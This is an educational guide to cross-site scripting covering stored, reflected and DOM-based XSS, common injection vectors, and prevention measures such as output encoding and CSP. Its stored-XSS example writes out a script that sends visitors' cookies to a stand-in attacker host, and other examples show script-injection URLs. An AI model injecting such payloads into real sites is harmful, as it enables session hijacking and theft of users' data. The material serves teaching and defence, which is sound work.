Cross Site Scripting (XSS) Attack
Table of Contents
This guide provides a comprehensive overview of XSS attacks, including types, examples, attack vectors, prevention techniques, and best practices.
What is Cross-Site Scripting (XSS)?
Cross-Site Scripting (XSS) attack is a type of web-based attack that involves an attacker injecting malicious code into a web page viewed by other users. This allows the attacker to steal user data, hijack user sessions, or take control of the affected user's browser.
How does an XSS attack work?
Cross-Site Scripting is typically done through input fields or parameters that allow user-generated content, such as comments or search queries. An attacker can inject code, such as JavaScript, into the web page and when other users view that page, the code is executed in their browser.
XSS attacks can be launched using a variety of techniques, including social engineering, cross-site request forgery (CSRF), and clickjacking. Social engineering involves tricking users into clicking on a link or visiting a website that contains the malicious code. CSRF involves exploiting a vulnerability in a website to force a user to perform an action without their knowledge or consent. Clickjacking involves tricking a user into clicking on a hidden or disguised button or link.
Types and Examples
There are several types of XSS attacks, including:
1. Stored XSS
In a stored XSS attack, the attacker injects malicious code into a website's database. When other users access the affected page, the malicious code is retrieved and executed in their browsers.
Example:
Imagine a comment section on a blog where users can submit comments.
An attacker posts a comment containing the following payload:
<script>
fetch('https://malicious-site.com/steal?cookie=' + document.cookie);
</script>
When other users visit the blog and view the comments, the malicious script will execute in their browsers, sending their cookies to the attacker's server.
2. Reflected XSS
Reflected XSS occurs when an attacker tricks a victim into clicking a specially crafted link. The malicious payload is then reflected off a web server and executed in the victim's browser.
Example:
An attacker sends a phishing email to a victim with a link to a fake login page:
https://legit-site.com/login?username=<script>alert('XSS')</script>
When the victim clicks the link and logs in, the JavaScript code is executed in their browser, displaying an alert with "XSS".
3. DOM-based XSS
DOM-based XSS takes place when the client-side JavaScript code modifies the Document Object Model (DOM) based on untrusted input. This can lead to the execution of malicious scripts within the user's browser.
Example:
Consider a website that displays user-provided search queries in the URL: https://example.com/search?query=<script>alert('XSS')</script>
XSS Attack Vectors
Attackers use various vectors to inject malicious scripts:
- Script Tags: Injecting code within
<script>tags. - Event Handlers: Exploiting event attributes like
onclickoronload. - HTML Attributes: Inserting code in HTML attributes like
srcorhref. - JavaScript Functions: Utilizing JavaScript functions like
eval()orsetTimeout(). - Data and AJAX Requests: Manipulating data passed in AJAX requests to execute scripts.
Prevention
To mitigate XSS attacks, web developers can implement the following measures:
1. Input Validation
Validate all user input and sanitize it to remove any malicious code.
2. Output Encoding
Encode all output to prevent any malicious code from being executed.
3. Content Security Policy (CSP)
Implement a CSP that specifies which domains can execute JavaScript on the website.
4. Use Security Frameworks and Libraries
Use security frameworks and libraries that provide protection against XSS vulnerabilities.
Users can also protect themselves by using browser extensions that block scripts or by disabling JavaScript in their browsers. Additionally, users should be cautious when clicking on links or visiting websites that they are not familiar with.